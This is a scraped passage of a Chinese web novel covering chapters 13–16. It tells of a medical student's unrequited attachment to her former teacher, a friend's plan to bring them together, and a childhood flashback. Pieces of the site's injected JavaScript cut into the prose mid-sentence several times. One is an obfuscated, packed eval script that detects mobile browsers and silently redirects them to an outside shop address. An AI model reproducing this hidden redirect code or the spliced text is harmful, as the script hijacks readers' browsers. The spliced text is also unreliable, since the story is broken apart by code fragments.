窗户外爬满了绿葱葱的藤叶,有数根似挂起的窗帘般垂牵在窗前。阳光从绿藤与老窗户之间漏进来,金灿的颜色衬得藤叶都发出嫩绿。 所有厨房物什都蒙上了一层柔光,铝壶,铁锅,甚至折射着仿若钻石的碎光。 白碧英正专心观察茶底时,忽听厨房门响动。 竟是白鹭洲。 白鹭洲一进来,就问奶奶:“池柚呢?” 白碧英:“嗯?她不是就在外边儿吃饭……” 说着她走出去,正想给白鹭洲指,可手臂抬起来,指尖只惯性地指向了空荡荡的房间。 “……人呢?” 门外与窗外的阳光,依旧如池柚离开之前那样好。 桌上的菜纹丝未动。 包括那碗看起来清甜可口的醪糟甜豆花,还是满满一碗,旁边的勺子都不曾挪动过位置。 白碧英笑了笑:“可能学校有急事,先走了吧。” 白鹭洲:“……” 白碧英拍拍白鹭洲的肩,“你也快点吃,早点回学校去,免得你的学生找不到你。” 白鹭洲盯着那碗豆花。 忽然间,有了几秒的恍惚。 . 黎青发现,今天池柚回来之后,整个人变得十分沉默寡言起来。 虽说平时池柚也是个安安静静的孩子,但只要主动跟她说话,她就会认真地聆听并回应。不过今天,池柚总是在走神。 不消多想,黎青便知道池柚是又从白鹭洲那儿受挫了。 实验室里做解剖时,池柚一个人默默地坐在角落里,林慕橙和程枣枣叫她几次她都没反应。 黎青直接走过去,挨着池柚坐下,强行引起对方的注意。 “你在想什么呢?” 她用指节使劲敲了敲桌面。 “嗯?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 池柚迟钝地转过头,“黎师姐。” 黎青抽了张酒精棉片,帮池柚擦拭桌台边流出的内脏血渍,“剖得这么不利索,这可不像你。” 池柚:“对不起,我没注意……” 黎青:“是因为昨天白鹭洲和你说的那些话么?” 池柚愣了愣,反应了一下,才想起昨晚电话里她和黎青聊过白鹭洲。 “是吧,也不全是。”池柚放下解剖刀,沉了沉肩,坦言,“……和师姐通完话后,我去帮老师的屋子修了灯泡。本来以为关系好像缓和了一点,老师可能不会再像之前那样想了,可是……可是明明上一秒还好好的,一扭脸,她却说了更狠的话。” 黎青:“为什么?” 池柚:“我也不知道。” 池柚勉强地笑了一笑,也抽了张酒精棉,擦拭起桌台。 “虽然之前老师也一直拒绝我,不过,从来没有像这次一样,把话说得这么绝。她应该是真的想摆脱我了吧,我……或许真的开始影响到她的正常生活了。” 黎青问道:“那你准备怎么做?” 池柚沉默了一会儿。 她轻声地自言自语着:“如果是时候了,那就该结束了。” 黎青:“什么?” 池柚抬眼看了下黎青,又垂下头,没说话。 尽管池柚的话语模糊不清,黎青还是捕捉到了池柚口中的“结束”二字。 “暂时先不要想她了。其实有些事,顺其自然就是最好的。” 黎青安慰道。 “我昨天不是和你说,忙过这段课程,我带你去玩点好玩的么?你先专心在学业上,千万不要大意了这边,学业永远都是你最要紧的事。对了,不知道你有没有找到合适的规培单位,我这儿倒有合适的人脉,你要是想让自己忙起来,咱们也可以研究研究规培那些事儿,有很多不错的医院供你挑,你尽管找一个喜欢的……” 池柚的目光有点涣散,只是惯性地点点头。 黎青看出池柚根本没有把自己说的话听进心里去。 她不再安抚她,若有所思地看了看窗外。 半晌,黎青忽然开口问: “小柚子,你究竟为什么那么喜欢白鹭洲啊?” 池柚听到了白鹭洲的名字,注意力才又收回来。 她看着面前被开膛破肚的兔子,沉吟片刻,微微一笑,回道: “嗯……一部分原因,是因为我真的很喜欢老师。另一部分原因,是为了……报恩吧。” “报恩?” 黎青显然有些疑惑。 “我能理解她曾经是你的老师,所以会有恩于你。可为什么你会觉得,对她死缠烂打穷追不舍,算是对她的报恩方式呢?” 对于这个问题,池柚闭了嘴巴,缄口不答。 见池柚选择沉默,黎青便没有追问。 她想,或许是这孩子心智真的还不够成熟,对于有些问题的本质,还没来得及学会深想。 然而池柚的前半句话却绝不会骗人。 黎青轻叹了口气,“就不能不喜欢她,试着喜欢一下别人?” 池柚懵懵地:“谁啊?” 黎青轻声说:“你多找找呀,你的身边有很多很多优秀的人的。” 池柚皱着眉思索起来。 可似乎想了半天,也没有想出结果的样子。 14.第 14 章 “哎哟,晒死了!” 一个染了粉毛的街头小混混狠狠把烟头扔在地上,脚尖踩过去碾了碾。 “明明前些天一直下雨,我秋衣都穿上了,结果今天这么热!” 另一个打了唇钉的高个混混“啧”了一声,拉了拉粉毛。 “你就不能少抱怨会儿,没看到老大今天这么高兴?别触她霉头。” 两个人不约而同地看了眼正在医科大学校门口小卖部买烤肠的女混混头子。 女人看上去挺年轻,一头大弧卷发披在肩头,抱着胳膊,歪歪扭扭地矫揉站着。 今天放晴,她里面只穿了件紧身的细吊带,外套半脱不脱,褪下去,懒懒地挂在臂弯里。 从她身后,能清晰地看见她背上蝴蝶骨的位置有一大片观音坐莲的纹身,被蔽体性不怎么好的细吊带旖旎地半遮住。 女人名叫宋七月。 生于七月盛夏,长于七月盛夏,人如七月盛夏。 宋七月笑眯眯地接过老板递来的两根烤肠,哼着没调的歌,从小卖部轻快地走出来。 “啧。” 她看着那两个混混,忽然皱眉。 “你俩走远一点,她以前说过,不喜欢我跟你们混在一起。” 她话一落,两个小混混连忙点头哈腰地光速滚远了。 宋七月整理了一下衣服,把外套规规整整地穿好,然后弯腰,对着路边一辆摩托车的后视镜仔细地检查自己的头发和妆容。 被她小心捏着的两根烤肠还冒着热气,是她特地挑选的烤爆皮了的肠,饱满油亮,外焦里嫩,看起来就是会香掉人舌头的样子。 过了大概十分钟,又一批刚下课的学生成群走出。 宋七月看见人群中某个身影时,五官都瞬间舒展开来。 “黎青!” 她举着烤肠开心地招手。 远远地,黎青就看见宋七月挥手挥得像个傻子一样。 宋七月等不及黎青走过来了,向她快步跑过去,笑脸满盈地递上一根烤肠,“给你!” “还以为是在高中的时候吗?一根校门口的烤肠跟个宝似的。”黎青虽然这么说着,手却自然地接过了烤肠,咬下了一小口。 宋七月:“好吃么?” 黎青轻笑了一下,没回答,只说: “我有事找你。” 宋七月点头:“我知道,我一收到你信息就从酒……从家里过来了!” 黎青心下清明,却不做声,没戳穿她。 宋七月红着脸掩饰性地挽了下头发,立即移开话题:“找我什么事啊?” 黎青:“你来。” 黎青走到树荫下。宋七月亦步亦趋地跟了过去。 黎青虚倚在树干上,沉吟片刻,问: “我有个年纪特别小的舍友,和你提过的,你还记得吗?” 宋七月想了想,“好像记得一点,你们都叫她小……橘子?” 具体名字她忘记了。她只记得黎青的宿舍里住了一堆水果,什么枣子,什么橙子的。包括黎青,黎青是个梨子。 黎青纠正:“是小柚子。” 宋七月不甚在意:“行吧,柚子。” ……有什么区别,还是水果。 “小柚子最近遇到了点事,看她心情很差的样子。程枣枣和林慕橙跟她讲话,她大部分时间都跟没听见似的,就算回应也是心不在焉。” 黎青皱了皱眉。 她其实也知道池柚在为什么而不开心。 “所以想请你帮帮忙。” 宋七月不解: “我?我能帮上什么忙?” 黎青抱起胳膊,眼底幽深。 “帮忙撮合一下么。” 宋七月愣住。 自打高中毕业后,她与黎青本就甚少联系了。寥寥的交流或者见面也每次都是她去主动,黎青对她的同窗之情寡淡得就像清水,仿佛一起坐了几年同桌的人压根不是她宋七月一样。 没错,即使宋七月对黎青感情的奢求仅仅是同窗情,黎青的态度也没有令她开心过哪怕一次。大部分时间,这个人都冷淡得让人心寒。 还有小部分时间呢? 那小部分时间里,黎青难得的会主动多讨论的一些事,都围绕着她的小舍友。 这次更过分了。 黎青居然、居然直接要求自己撮合她俩! 宋七月心里猛地发酸,立即抵触起来:“我怎么帮?我帮不了。” 黎青:“你能帮的。” 宋七月冷硬地重复:“帮不了。” 黎青:“你有个远房表亲叫白鹭洲,对不对?” 听到黎青突然提起这个名字,宋七月醋吃到一半还没散,心里又被浓浓的不解覆盖。 “好像是有这么个人吧,你问她干什么?” “小柚子喜欢她好几年了,可就是追不到。我想,咱们挑个合适的时间,你把她约出来,我把小柚子约出来。” 黎青面色平淡,眼里似乎酝酿着筹谋已久的什么计划。 “找个什么机会,好好……撮合一下她们……” 宋七月恍然发觉,原来是自己误会了。 她的心情立马多云转晴,一张笑脸灿烂地绽开。 “你不喜欢那个小柚子啊?” 黎青:“喜欢啊,就是因为喜欢,所以才盼着她能好好地……” 宋七月忙打断:“我说的是、就是‘那种’喜欢。” 黎青顿住,听明白宋七月的意思后,坦然地脱口而出:“你说想跟她谈恋爱的那种啊,当然不是了。” 宋七月松了口气,“呼——看你之前总提起她,我以为你对她……” “难道一个女人,只能是因为那些暧昧心思,才会关心、欣赏、照顾另一个女人吗?” 黎青有些无奈,不禁笑了笑,摇着头叹口气。 “我就是真的觉得她很优秀,很佩服她,很喜欢她。你或许不懂,在我们这个专业领域里,她是真正的天才。” 正因黎青也是一个优秀的人,所以她懂这份天赋的可贵。她才希望:如此天才,能够在这宝贵的年纪得到充分的培养和发展。 她不是觉得池柚不该谈恋爱,只能忙科研。她只是觉得,池柚在白鹭洲的身上耗费了太多无用的时间与精力,长此以往,池柚的学业乃至事业都会受到阻碍,医学领域也会痛失一个可能会带来许多革新的人才。 天才竟被扼杀在爱情里。 她作为铁血事业粉,可忍不了这个。 黎青试过劝池柚放下,但显然没有效果。在感情上,池柚倔得像老家山坡上那头只愿意啃鲜花的牛。 就算想要退出了,池柚的眼里也根本容不下除了白鹭洲之外的任何人,自然,也注定无法轻易忘掉白鹭洲。 既然如此,不如赶快把她和白鹭洲撮合在一起。 等这小孩得偿所愿了,应该就能专心搞医科研究了吧? 正巧,黎青的高中同学宋七月是白鹭洲的远房亲戚,虽说有些太过“远房”,却也勉强算一层人情关系。 ……希望白鹭洲能给这位不太熟的表亲几分薄面,好予她些 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 撮合的机会。 宋七月脑瓜子飞快一转,抓住机会说: “那我们四个以后可以一起出去玩啊!咱俩可以偷偷呆一边,让那什么小柚子和我那位表亲单独相处。” ——这样的话,她和黎青也就单独相处了哎。 黎青对宋七月积极的回应感到满意,微笑着点了点头: “好,等到有合适的娱乐项目,然后白鹭洲又有空的时候,你我随时联系。” 宋七月笑逐颜开: “没问题!我现在就去找她,先联络联络感情。” . 两个小时后。 白柳斋。 主屋迎客堂中。 …… …… …… 这个人来干嘛? 白鹭洲沉默地坐在沙发一角,在爷爷拎来茶壶的时候,用目光第十二次向他询问这个问题。 她今天才下班,奶奶就一个电话把她喊来了白柳斋,问有什么事也不说,只重复一句“你来就行了”。 到了以后,她就看见一个不太认识的年轻女人坐在奶奶心爱的太妃椅上,衣服松松垮垮的不好好穿,浓妆艳抹,肩后好大一片观音刺青,正双手捧着一盏家里不轻易拿出来待客的绿玉斗杯小口喝水。 爷爷还是没有回应她的疑惑,只是笑着招呼那女人: “小七,喝茶,喝茶。” 爷爷那样一个古板的教书匠,白鹭洲鲜少见过他会对一个社会混子一般的人这样好脸。 奶奶白碧英终于打完麻将回来了。一掀开门帘,她的眼睛便立刻穿过老花镜片看向那个陌生女人,满脸惊喜,“哎哟,这么早就来了?” 她马上向白鹭洲说: “洲洲,你忘了?你俩小时候坐在一桌吃过席呀。别看她年纪小小的,论起辈分来,你可得叫她一声‘表姨奶奶’呢。” “……” 原来奶奶也知道,她与这个表姨奶奶之间能捉出来说的最紧密的关系就是小时候一桌吃过席。白鹭洲暗忖,不晓得硬要把自己喊过来做什么。 这种不太熟的亲戚,尤其是年纪相仿却又差了大辈分的,过年时见短暂的一面都觉得尴尬,更别谈什么玩乐交流。 “小七,和洲洲聊聊你的工作,最近看了什么好看的电视剧或者什么电影。” 白碧英热络地想将二人拢到一起。 “洲洲,你虽说辈分小,可实际年纪比她还大好几岁,你得主动一点呀,聊聊你们女生都喜欢的书啊,化妆品啊,还有最近遇到的有意思的同学同事什么的,都聊聊。我和你爷爷先去做饭了。” 白碧英觉得自己为二人起了不错的头,高兴地揽着李恩生去厨房了。 …… 两个老人一走,原本尴尬的氛围变得更加尴尬。 且每过一秒,尴尬值都呈指数倍上升。 白鹭洲静静地叹了口气,心想:或许这位表姨奶奶也和自己一样觉得不自在吧,她还是打过招呼就离开比较好。 白鹭洲站起身,正准备客气地寒暄,却听表姨奶奶先开口了: “别走,喝、喝茶啊。” 对方那双化了精致眼线的眼睛睁大了,巴巴地望着白鹭洲。 显然那眼底有着同样的生疏与尴尬,也觉得此情此景令人头皮发紧坐立难安。但对方似乎又很紧张,生怕白鹭洲一个抬腿真的走了,别扭到让人实在是摸不着头脑了。 “……” 现在白鹭洲不理解的除了爷爷奶奶,还多了一个人。 ……这人到底想干嘛? 15.第 15 章 人总会有几个一辈子也没见过几次面、比小区门口早餐摊卖包子的老板娘还要生分许多的远房亲戚。 老一辈的子女多,枝叶散得开,后辈不居住在一处,有几个这种连着血缘关系的陌生人再正常不过。偏偏逢年过节一聚时,老人喜欢蹿腾着孩子们熟络,他们还不懂,即便是连着血脉,人们也还是会渐行渐远的道理。 可白鹭洲以为,老人不懂,同为年轻人的小亲戚总会懂吧? 就算不懂…… 正常人类也应该能感觉到……此刻尴尬到仿佛凝固的空气吧? 宋七月已经喝了八杯茶了。 她也是如坐针毡,手足无措,只能通过不停喝茶来掩饰自己那抓狂的心情。 该死! 要不是为了黎青,她这会儿已经在跟着DJ蹦迪了! 宋七月本以为自己和这个白鹭洲应该是类似于表姐妹的同辈关系,谁能想到,她回家扒了半天的族谱,居然在向下两行才找到白鹭洲的名字。 这怎么办? 她原先想好的所有以“姐姐”开头的寒暄,顶上一个表姨奶奶的身份后,瞬间统统都奇怪了起来。 怎么办怎么办……接下来该说什么…… 白鹭洲默默看了宋七月一会儿,轻声打破了沉默: “……你很喜欢喝这个茶?” 宋七月陪了个假笑:“哈哈,是。” 其实她根本没喝出啥味,这里的茶味道淡垮垮的,喝起来跟抹布水没两样。 白鹭洲:“看你不像是喜欢喝茶的人。” 宋七月:“是,是是。” 白鹭洲:“那你还觉得好喝。” 宋七月的大脑宕机了一下:“我……刚刚说好喝了?” 白鹭洲:“你的意思是这样。” 宋七月:“哦……” 受不了了,这完全是尬聊。 白鹭洲端起茶杯,直言问道:“你是不是有什么事找我?” “我……”宋七月挤出一个难看的笑,“就是想和表甥孙女你联络联络感情。” 白鹭洲:“……” 白鹭洲在接下来的一分钟里尝试张开过两次口,可始终都没法说服自己对着眼前这个连衣服都不会好好穿的年轻女人喊出一声“表姨奶奶”。 于是又沉寂下来。 就这样一同干坐着能联络感情吗?宋七月不知道,但她也没别的办法了。 看来,以后每天到白柳斋来和白鹭洲坐一坐是无法避免的了。尽管和白鹭洲待一起的时光简直可以称得上度秒如年。 真好。 宋七月咬住牙根,又狠狠灌下一杯茶,逼自己使劲往乐观地想。 这里的一秒等于一年,那是不是意味着她再多来几趟,就可以比正常人多活几千年了? . 转眼,便是一个月后。 天气又凉了一些,几场秋雨洗涤过去,几乎是每过一场雨便要添一件衣的程度。 趁着周末,池柚准备回家一趟。 这些日子她真的没再去打扰过白鹭洲,日子淡淡地过着,看似并没有和之前有太大不同。只是有时她会想,连她都有种宁静似乎从未打破的错觉,那对于白鹭洲呢? 那波纹涟漪,只会比自己的心湖水面还要平缓吧。 原来人与人之间的联系就是这样脆弱,主动的那一方不再主动后,或许真的一辈子都再也不会见面了。 而有些遗憾培豢多年,未及抬芽,又沉沉埋入土中。 池柚有一点很奇怪:一些小事上遇挫,她还会像常人那样难过伤心一番,可真的碰到了人生转折点上的大事,她又冷静得不像个正常人类,仿佛所有情绪都在一秒间消失。 她很多地方都和普世不太一样,这或许是遗传自父亲孙金文。 就比如此刻。 她只知道按照公俗良序来说,断舍离该难过、被推开该流泪。她试图学着和其他失恋者一样去酒吧买醉,又去江边一个人望着夜空发呆,可是在高脚玻璃杯中平静无波的酒面与看起来和往日无二的月色中,她却慢慢地看清了自己心底的那一片荒芜。 她像是一具再也难以滋生任何感情的死尸。 然而,心底深处又有些怪怪的感觉,她说不上来。 不像痛苦。非要形容的话,倒有点儿类似于是某种窒息。 ……仿佛死尸被捞出了福尔马林。 最后的一点湿润与鲜活,也蒸散无了。 池柚不知道该如何定义白鹭洲在自己心里的意义,她只能打出这样的比方。 她就是觉得自己的生活剥离去白鹭洲之后过得很“干涸”。干涸得快要让她又失去人形,变回白骨。 和黎青以及那些舍友一样,池柚一回家,母亲池秋婉便轻易地看出了她身上的沉沉死气。 池秋婉知道白鹭洲对池柚塑成的羁绊,也知道二人重逢后池柚一直在执着的事,所以很快猜到和这个有关。 池秋婉端来早就切好的水果,温柔地和池柚说:“小柚子,晚上去餐馆吃大餐好吗?” 池柚撑起一个笑,乖乖点头:“好。” 池秋婉:“想吃什么?” 池柚:“您想吃什么,我们就吃什么吧。” “对了,上次一个姓黎的女同学来给你还书,书里夹了几张火锅店的折扣券,这两天该过期了,你前段时间一直住校也没回来,刚好今天赶上。那个火锅店离咱家不远,咱们就去那里……” 池秋婉说着,池柚只心不在焉地应了声作回应。 晚间时分,到了饭点,池秋婉去池柚的卧室叫她出门。 推开门,池秋婉便看见池柚软塌塌地窝在椅子里,似乎她回家后一进屋就是这个姿势了。 走近细看,还见池柚手中抱着一个黑乎乎的干尸头颅,被经年日月的盘玩摩挲得油润发亮。 这颗头颅是池柚从二手老市场淘来的,听那老板说是从埃及过来的货,以类似于制作木乃伊的手法保存下来,先是泡在盐水中去除多余水分,再用古草药与古香料涂抹防腐,最后以木钉固定每处会活动的骨骼。不知真假。 池柚很喜欢,她总是像盘核桃一样盘它。她说,这颗头后脑勺很圆,很漂亮,白老师的后颅骨就是这样漂亮。 池柚还给这颗头起了名字。 ——她叫它“埃尔蒙特·翠花”。 池秋婉见池柚在出神,于是伸手拈起翠花头顶那稀疏的几缕头发,将干尸头放到桌上,说:“小柚子,走啦。” 池柚回过神,忽然想起了什么,说:“我再给旺财加点水和粮就走。” 池秋婉:“我已刚刚加了,它已经吃过了。” “那、我们走吧。” 池柚起身前,又恋恋不舍摸了摸头颅的后脑,如一个寻常女孩子温柔地抚摸宠物小狗般。 母女二人收拾妥当后出门。 已是夜晚,天空下起雨来。 下楼走了一段时间后,空中气流骤然猛卷,风雨横吹。 眼见雨伞已经遮挡不住,池秋婉忙带着池柚找到街边最近的一家便利店,在屋檐下避雨。 这雨势来得猛,去得也快。 约摸十多分钟后,雨丝又变得细疏垂直了。搁浅在檐下的行人们撑起伞,回归到川流不息的路,泅渡向各自的目的地海。 池柚正要撑起自己的伞时,忽听旁边便利店的门打开。 她忽然就有一种很强烈的预感,莫名的,没有由来的,让她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 浑身一颤。 她僵硬地回过一点头。 果然。 正如预感。 开门的,是白鹭洲。 晚间的车流引擎声与鸣笛声潺潺淌过耳畔,空气里是柏油马路被雨淋湿后的微微土腥味。在便利店的门打开的瞬间,门内的咖啡香气与关东煮的香气飘出。 白鹭洲走出来,身上好似还多沾了一丝烤面包的清甜。 她正拎着一袋面包,卡在塑料袋提手中的手指戴了一枚翡翠戒指,空山新雨般,将一抹颓林与山风箍于那处。 白鹭洲的另一只手上还握着亮屏的手机,是和某个人的聊天界面。从打眼看到的几个字眼中可知,她是应那人的请求来这里买面包的。 指缝里隐约露出那人的备注,什么“姨奶奶”。 蓦地,池柚后知后觉地意识到,便利店的玻璃墙是单向玻璃。所以她站这里十几分钟都没发现店里都有什么人。 那白鹭洲在里面,有没有看见她呢? 如果看见了,是看了一眼就移开目光,还是也注视了她一小会儿? 这些想法一瞬涌出,席卷大脑。可又不及细想,她的身体就立即下意识地靠向了旁边的母亲,小声急急地说:“我们快走。” 她既然决定了不去打扰对方,那就要言行如一。 然而池秋婉应声回头,却刚好看见了白鹭洲。 池秋婉很是惊喜,脱口而出: “白老师!” 白鹭洲抬起眼,微微一笑,也打招呼:“池女士,您好。” 池秋婉走上前寒暄:“好久没见您了,一切都好吗?” 白鹭洲:“都好,您家里怎么样?” 池秋婉:“就跟以前一样。我一直念叨着什么时候请您吃个饭,您教小柚子的时候都没好好请过您,我一直都惦记着。” 白鹭洲:“您客气了。” 池秋婉:“哎,这叫什么客气。您为她做了那么多,更别说那个暑假,她退学后一直在家我都快急死了,要不是您愿意上门来亲自教她,她恐怕没有那么容易……” 听着母亲唠叨起陈年旧事,池柚选择性地关上耳朵,尴尬地装作去看街上的车。 黑夜里,湿润的地面倒映着斑驳迷离的城市彩光。 广告灯牌的虾子红,鹦哥绿,面上又被路灯敷上几缕散开的黄,鸡油似的漾晃。 车影飞驰而过,五光十色便短暂地破碎一秒,再一秒,它们又疯狂地长回原样,仿佛覆着薄薄一层可无限再生的血肉。 只要这雨不停,水不去,倒影的再生就是无休的。 池柚只看积水,不敢去看白鹭洲。 她也搞不明白此刻自己心底这无端的恐惧。 是啊。 竟是恐惧。 ……真奇怪。 明明那是最朝思暮想的人,明明站在了离自己这么近的地方,可她却在深深地害怕着什么。 聊了有一会儿,池秋婉道:“白老师应该还有事忙吧?我就不拖着您了,咱们改天微信联系。” 白鹭洲点头:“好,有事您随时联系我。” “行,白老师慢走。”池秋婉礼貌地道别。 池柚埋着头,全程一言不发。 “再见。” 白鹭洲说完,打开伞,走下台阶。 在白鹭洲终于背对过去时,池柚才敢抬起一点头,怯怯地偷看了一眼。 三级台阶走完,白鹭洲却忽然一停,又缓缓转过身来。 池柚连忙别开目光。 夜风拂过,吹起一片青黑发尾。 “池柚。” 白鹭洲的目光淡淡地落在了池柚的身上。 “你不和我说再见吗?” 16.第 16 章·回忆 “……我不想说。” 小池柚固执地咬着牙,一个字一个字地向外吐。 “我,就是不想,说,再见。” 池秋婉蹲在9岁的女儿面前,无奈地叹了口气,道:“这是基本的礼貌呀。你看这大晚上的,你一个人跑到那么远的墓园去,要不是白老师亲自去接你回来,你是不是还在那里吹冷风呢?和老师好好道个别,也不难啊。” 见池柚沉默,池秋婉又道:“平常放学什么的,你不是都会说的吗?怎么今天……” 小池柚蓦地红了眼睛:“今天和平常不一样!” 池秋婉耐心地问:“哪里不一样?” 池柚又陷入了沉默。 良久,她抠着手指头,才磕磕巴巴地说: “以前……以前放了学,我知道,第二天,还是会见到老师的。” 池秋婉明白了池柚的意思。 她叹了口气:“所以这次不肯说,是怕以后再也见不到老师了?” 池柚不做声,只是抠手指的力气又大了些。 她也说不清楚今天的“再见”和以往的“再见”有什么不一样。但今晚在楼下,她看着白鹭洲站在出租车旁望向自己的目光,分明是在等着自己说什么的样子,她的心头忽然涌上一种感觉。 她想起了最后一次见爸爸。 那一次,她和爸爸说再见时,爸爸脸上的表情也是和平常一样微微笑着,只是看着自己的目光却又莫名地深。 或者说是用力。 又或者说,好像是很想要再多看那么一秒钟。 她这样的年纪,尚未被社会化训练过的心智还分不清善恶对错。她只知道,那次之后,再也没有人带着自己去好玩的地下室里看各种各样的标本,也没有人握着自己的双手,耐心地教她怎么缝合起那些肉块。 她现在或许什么都分不清,可是生命中有人离开之后,她开始分得清“暂别”与“永别”。 她不愿和白鹭洲永别。 可白鹭洲看向她的眼神里,已经在诉说着对她漫漫余生的祝福。 池柚很低落地过了一段日子,把自己关在房间里。期间她偶尔听到妈妈在客厅里打电话,有时诚恳有时急躁,好像是找不到下一个愿意接纳池柚的小学,很是苦恼的样子。 时逢初夏,没多久就是期末了,池柚这次被逼退得突然,期末考都来不及参加。这个时间点也难找下家,愁得池秋婉寝食难安。 天气热了起来。 还不及酷暑,家里的空调还用布罩子笼着。可是夏雨欲来,天空闷沉沉地滚满乌云,空气里又湿又热,惹得人心里又几分烦躁。 池柚侧躺在凉席上,旁边的电扇因为老旧出了点故障,重心不稳,嗡嗡风声中时不时传来几下金属板点桌的吱呀声。 今日尤其闷热,窗外肥厚的绿叶被风刮得呼呼作响,枝叶簌簌摩擦乱摆。 她半阖着眼,能感觉到自己的皮肤上黏着一层薄汗。像是被涂了文玩油的新器玩,嫩生的表皮受着难言的缚束。 昏昏欲睡间,池柚模糊地想: 谁要是在这个天气倒霉死掉了,尸体肯定臭得很快。 防盗门忽然传来动静,门一开,池秋婉的声音就响起:“快请进,快请进。” 玄关有两个人在换鞋的动静。 随着拖鞋落地,另一个人也开口了:“谢谢,大小刚好。” 池柚一听那声音,困顿的眼皮瞬间睁开,一溜烟从床上爬下来,光着脚就拉开门跑到客厅去。 池秋婉见池柚出来,忙说:“小柚子,和老师打招呼。” 池柚愣愣地说:“老、老师好。” 才换好拖鞋的白鹭洲点点头,“把文具拿出来,准备上课。” 池柚:“啊?” 池秋婉一边小心注意着白鹭洲的表情,一边急急地对池柚说:“啊什么啊,快去拿呀。” 看得出,妈妈万分珍视白老师的到来。 池柚:“哦……好,好。” 池柚快步回到房间,将桌上和架子上摆着的器官标本罐子急急忙忙地收到一起,叮叮咣咣地塞进柜子。又忙去翻书包。在取出课本的时候,她竖着耳朵听妈妈和老师在客厅的闲聊。 原来是白鹭洲已经结束了大学那边的事,刚好放假了,她说自己反正也无事,就答应了池秋婉来做一个暑假的家教。 池秋婉道谢声没停过,白鹭洲也一直在客气地说没事不耽误。 过了一会儿,白鹭洲走进池柚的卧室来。 她胳膊下夹着一叠卷子,坐下以后,直接将卷子铺开到池柚面前。 “这是你没考到的期末考卷子,一张二十分钟,写完我现批。” 池柚嗫嚅:“卷面标准时间是一个半小时……” 白鹭洲“嗯”了一声,“我知道,但对你来说,二十分钟够了。” 池柚拔开笔帽,伏在案上时,偷偷看旁边的白鹭洲。 白鹭洲就像往常在白柳斋辅导她功课一样,自然地走过来,自然地坐下,自然地和她说话。 若要说有什么不同,那便是天气热了,她今天穿了件池柚没见过的浅色无袖衬衣。 池柚恍惚了一瞬,不知是此刻自己在做梦,还是许多天前她退学那件事是在做梦。 旧风扇还在嗡嗡吹,依旧不时传来吱呀声。 窗外的热浪像水一样穿进来,混在每一个空气分子里,连电扇吹出的风都是带着些热气的。窗台上的麻雀落下一秒,也嫌铁栏杆不适,立即又飞入绿油油的厚叶中。 白鹭洲低着头在写什么东西,细白手指握着钢琴黑烤漆般温润的钢笔,手背上一条冷色血管蜿蜒向手腕。 油画册上最漂亮的手就是这样。 白的极白,青的透青,只关节在用力时发着一点红。 白鹭洲头没抬,问:“你不写卷子,发什么呆?” 池柚说:“老师的手要是可以剁下来,做成标本,我一定会把它摆在桌上最好的位置。” “……” 白鹭洲握笔的手抽动了一下。 白鹭洲放下笔,“为什么突然这样想?你又不是第一天看到我的手。” 池柚坦诚道:“以前没想过会和老师分开,上次,上次……那天晚上,我才后悔,都没有留下一点能纪念老师的东西。” 白鹭洲轻笑了一下,摊开自己的手,“这个剁给你了,我以后用什么写字?” 池柚十分认真地想了一会儿,说:“那我不要了,还是留给老师写字吧。” 池柚又说:“我听妈妈说,老师为了我的事,和学校其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035658|137123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他老师吵架了?” 白鹭洲沉吟片刻,“算是吧。” 池柚:“吵得严重么?” 白鹭洲反问:“严不严重有什么区别呢?” “如果很严重的话……”池柚抠着笔帽,声音变小,“老师为了我再回学校去要到这些期末考卷,一定……要受很多委屈吧。” “……这不是你该考虑的问题。” 白鹭洲瞥了眼腕背上的表。 “这张卷子你只有十六分钟的时间了。” 池柚闭了嘴,专心写起卷子。 过了一会儿,白鹭洲写完了手上的东西,第一时间又看了眼表,见离收卷还有一些时间,便缓缓舒出一口气,抬起下巴抻了抻酸痛了好些天的脖子。 她顺便观察了一圈池柚的卧室。这还是她第一次来到这个小孩的卧室。 与普世对于这类特殊小孩的想象不同,池柚的房间好像和普通小女孩的房间没什么不一样,甚至要更加精致粉嫩。 窗帘边的星星灯带,床头戴着珊瑚色蝴蝶结的小熊玩偶,还有墙上的少女日漫海报、桌角上的Hello Kitty手办,多的是此类可可爱爱的有趣东西。而且池柚的审美很不错,她把所有的玩具和挂饰都摆得非常和谐,色彩的搭配和类型的罗列都让人看着赏心悦目。 白鹭洲却在慢悠悠地思考着: 她把那些见不得光的东西藏哪儿了呢? 抽屉? 大衣柜? 布箱? 其中是不是还有一只空置已久的玻璃罐,等着泡入一双完美的人手? 这些看似可怖的想法缓缓淌过脑海时,白鹭洲居然丝毫不觉得害怕。 搁在以前,要是旁观到此情此景,她的内心绝不会是这样平静。就算不会吓到失仪,背后也起码要浮一层鸡皮疙瘩。 多可怕啊,你眼前的人,正在想着怎么剖下你身体的一部分。 可是真的认识了池柚这样的孩子,参与到了她的生活中,坐在她的身边和她一起度过这有些闷热的寻常夏日午后,白鹭洲才发现,起码,池柚是不一样的。 池柚就好像一把窄薄锋利的小刀,可她的天性中,也同时为自己铸了一具刀鞘。 只要你不允许,她就绝对、绝对不会抽出她的刃尖来。 池柚带来的安全感,竟远大于她带来的危险感。 真是一个有意思的生命体。 白鹭洲暗暗地想。 又一会儿,白鹭洲后知后觉地发现,自己刚刚在脑海里用了“安全感”这三个字。 微微怔愣后,她才意识到,原来这便是她一进到这个房间就不自觉感到放松的原因。 这里仿佛独立于世外的一个小世界。所有长期积压在她身上的重量都短暂地留在了池柚的卧室门外,不论外面的人与物怎样翻涌变幻,起码在这两个小时里,她不用为任何俗事挂心。 